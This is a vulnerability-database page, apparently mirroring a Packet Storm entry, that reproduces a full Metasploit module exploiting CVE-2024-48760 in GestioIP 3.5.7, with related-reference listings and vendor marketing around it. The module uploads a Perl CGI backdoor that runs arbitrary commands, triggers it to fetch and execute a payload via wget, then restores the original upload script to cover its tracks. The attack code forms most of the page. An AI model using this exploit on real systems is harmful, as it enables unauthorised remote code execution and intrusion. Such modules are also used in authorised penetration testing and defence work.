Lucene search
K

πŸ“„ GestioIP 3.5.7 Remote Command Execution

πŸ—“οΈΒ 14 May 2026Β 00:00:00Reported byΒ odeez24, maxibelinoTypeΒ 
packetstorm
Β packetstorm
πŸ”—Β packetstorm.newsπŸ‘Β 53Β Views

Exploits GestioIP 3.5.7 remote command execution via file upload, may require admin auth.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2024-48760
14 Jan 202522:15
–attackerkb
Circl
CVE-2024-48760
15 Jan 202500:03
–circl
CNNVD
GestioIP ζ“δ½œη³»η»Ÿε‘½δ»€ζ³¨ε…₯漏洞
14 Jan 202500:00
–cnnvd
CVE
CVE-2024-48760
14 Jan 202500:00
–cve
Cvelist
CVE-2024-48760
14 Jan 202500:00
–cvelist
Exploit DB
GestioIP 3.5.7 - Remote Command Execution (RCE)
14 Apr 202500:00
–exploitdb
Metasploit
GestioIP 3.5.7 Remote Command Execution
14 May 202619:00
–metasploit
NVD
CVE-2024-48760
14 Jan 202522:15
–nvd
OSV
CVE-2024-48760
14 Jan 202522:15
–osv
Packet Storm
πŸ“„ GestioIP 3.5.7 Remote Command Execution
15 Apr 202500:00
–packetstorm
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::CmdStager
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'GestioIP 3.5.7 Remote Command Execution',
            'Description' => %q{
              This module exploits a command execution via file upload.
              If GestioIP is configured to use no authentication for admin account,
              no password is required to exploit the vulnerability. Otherwise, an authenticated
              user with admin right on the web site is required to exploit.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'maxibelino', # Original finder of CVE-2024-48760
              'odeez24' # Metasploit module
            ],
            'References' => [
              [ 'CVE', '2024-48760' ],
              [ 'URL', 'https://github.com/maxibelino/CVEs/tree/main/CVE-2024-48760']
            ],
            'Platform' => [ 'linux' ],
            'Targets' => [
              [
                'Linux/unix Command',
                {
                  'Arch' => [ ARCH_CMD ],
                  'Platform' => ['linux'],
                  'Type' => :nix_fetch,
                  'DefaultOptions' => {
                    'FETCH_COMMAND' => 'WGET',
                    'FETCH_DELETE' => true
                  }
                }
              ]
            ],
            'Privileged' => false,
            'DisclosureDate' => '2025-01-14',
            'DefaultTarget' => 0,
            'Notes' => {
              'Reliability' => [REPEATABLE_SESSION],
              'Stability' => [CRASH_SAFE],
              'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
            }
          )
        )
    
        register_options(
          [
            OptString.new('USERNAME', [true, 'The username to auth as with admin right', 'gipadmin']),
            OptString.new('PASSWORD', [true, 'The password to auth with', '']),
          ]
        )
      end
    
      def backdoor_content(payload = nil)
        <<~PERL
          #!/usr/bin/perl -w
    
          use strict;
    
          print "Cache-Control: no-cache\n";
          print "Content-type: text/html\n\n";
    
          system(q(#{payload}));
        PERL
      end
    
      def original_content
        <<~'PERL'
          #!/usr/bin/perl
    
          use Cwd;
          use CGI;
    
          my $debug = 1;
          my $q = new CGI;
    
          my ($status, $message, $exit);
          my $output_type_header = "text/xml";
          $exit = 0;
    
          my $filename = $q->param("file_name") || "";
    
          print STDERR "FOUND FILENAME: $filename\n" if $debug;
    
          if ( $filename !~ /^[A-Za-z0-9-_.]+$/ ){
            $message = "ERROR: only the following characters are allowed for file_name: A-Z,a-z,0-9,-,_,.";
            $status ="400 Bad Request";
            $exit = 1;
            printResponse(
              message   => "$message",
              status => "$status",
              exit => "$exit",
            );
          }
    
          $POST_MAX=1024 * 10000;  # 10MB max
          my $content_length = defined $ENV{'CONTENT_LENGTH'} ? $ENV{'CONTENT_LENGTH'} : 0;
          if (($POST_MAX > 0) && ($content_length > $POST_MAX)) {
            $message = "ERROR: Upload is limited to a file size of max. 10MB";
            print STDERR "$message\n" if $debug;
            $status ="500 Internal Server Error";
            $exit = 1;
            printResponse(
              message   => "$message",
              status => "$status",
              exit => "$exit",
            );
          }
    
          my $lightweight_fh  = $q->upload('leases_file');
    
    
    
          if (defined $lightweight_fh) {
    
            print STDERR "HANDLE DEFINED\n" if $debug;
    
            # Upgrade the handle to one compatible with IO::Handle:
            my $io_handle = $lightweight_fh->handle;
    
            my $file = '/usr/share/gestioip/var/data/' . $filename;
            open (OUTFILE,'>', "$filename") or $message = "ERROR: can not open file to write: $!";
    
            if ( $message ) {
              print STDERR "$message\n" if $debug;
              $status ="500 Internal Server Error";
              $exit = 1;
              printResponse(
                message   => "$message",
                status => "$status",
                exit => "$exit",
              );
            }
    
            while ($bytesread = $io_handle->read($buffer,1024)) {
                    print OUTFILE $buffer;
            }
    
            close OUTFILE;
    
          } else {
            print STDERR "NO HANDLE DEFINED\n" if $debug;
            $message = "ERROR: No leases file received";
            $status ="400 Bad Request";
            $exit = 1;
            printResponse(
                    message   => "$message",
                    status => "$status",
                    exit => "$exit",
            );
          }
    
    
          $status ="200 OK";
          printResponse(
            message   => "OK",
            status => "$status",
            exit => "$exit",
          );
    
    
    
          ###################
          #### Subroutines
          ###################
    
          sub printResponse {
            my %args = @_;
    
            my $status = $args{status} || "";
            my $message = $args{message} || "";
            my $exit = $args{exit} || 0;
    
            my $output = "";
            $output .= "<?xml version='1.0' encoding='UTF-8'?>\n";
            $output .= "<Result>\n";
            $output .= "    <Message>$message</Message>\n";
            $output .= "</Result>\n";
    
            printHtmlHeader(
              type   => "$output_type_header",
              status => "200 OK",
            );
    
            print $output;
    
            exit $exit;
          }
    
          sub printHtmlHeader {
            my %args = @_;
    
            my $type = $args{type} || "";
            $type = "-type => \"$type\"" if $type;
            my $status = $args{status} || "";
            $status = "-status => \"$status\"" if $status;
    
            my $header_params = $type . "," . $allow . "," . $location . "," . $status;
            $header_params =~ s/^,//;
            $header_params =~ s/,$//;
    
            print $q->header( eval($header_params) );
          }
    
          #curl \
          #  -F "userid=1" \
          #  -F "filecomment=This is an image file" \
          #  -F "image=@/home/user1/Desktop/test.jpg" \
          #  localhost/uploader.php
        PERL
      end
    
      def check
        print_status('Checking if the target is reachable...')
        if upload_file('README_server.txt', '')
          return Exploit::CheckCode::Vulnerable('File upload successful, the target is vulnerable GestioIP')
        end
    
        Exploit::CheckCode::Safe('Target is not vulnerable')
      end
    
      # Upload the file on the target server
      #
      # @param filename [String] the filename to upload
      # @param content [String] the content
      # @return [Boolean] true if the file was successfully uploaded, false otherwise.
      def upload_file(filename, content)
        data = Rex::MIME::Message.new
        data.add_part(
          filename,
          nil,
          nil,
          'form-data; name="file_name"'
        )
        data.add_part(
          content,
          'application/x-httpd-cgi',
          nil,
          "form-data; name=\"leases_file\"; filename=\"#{filename}\""
        )
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, '/api/upload.cgi'),
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s,
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        })
        if res&.code == 200
          if res.body.include?('ERROR')
            return false
          end
    
          return true
        elsif res.code == 401
          print_error('Authentification refused, Please give valid admin login informations')
          return false
        else
          return false
        end
      end
    
      # Upload the payload for linux system to the target.
      def execute_linux
        print_status('Executing payload on the target server ...')
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, '/api/upload.cgi'),
          'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
        })
        print_good('Payload successfully executed')
      end
    
      # Restore the original content of the target_link to remove the backdoor
      #   script.
      def on_new_session(session)
        super
        begin
          print_status('Cleaning up backdoor file on target server ...')
          if session.type == 'meterpreter'
            session.fs.file.rm('README_server.txt')
            session.fs.file.new('upload.cgi', 'wb').write(original_content)
            fd.close
          else
            session.shell_command_token('rm README_server.txt')
            session.shell_command_token("echo #{Base64.strict_encode64(original_content)} | base64 -d > upload.cgi")
          end
          print_good('Backdoor file successfully removed')
        end
      end
    
      # Main method to run the exploit.
      def exploit
        print_status('Upload the backdoor file ...')
        content = backdoor_content(payload.encoded)
        unless (upload_file('upload.cgi', content))
          fail_with(Failure::NotVulnerable, 'Unable to upload the backdoor file')
        end
        print_good('Backdoor file successfully uploaded')
        execute_linux
      end
    end

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 May 2026 00:00Current
5.9Medium risk
Vulners AI Score5.9
CVSS 3.19.8
EPSS0.45109
SSVC
53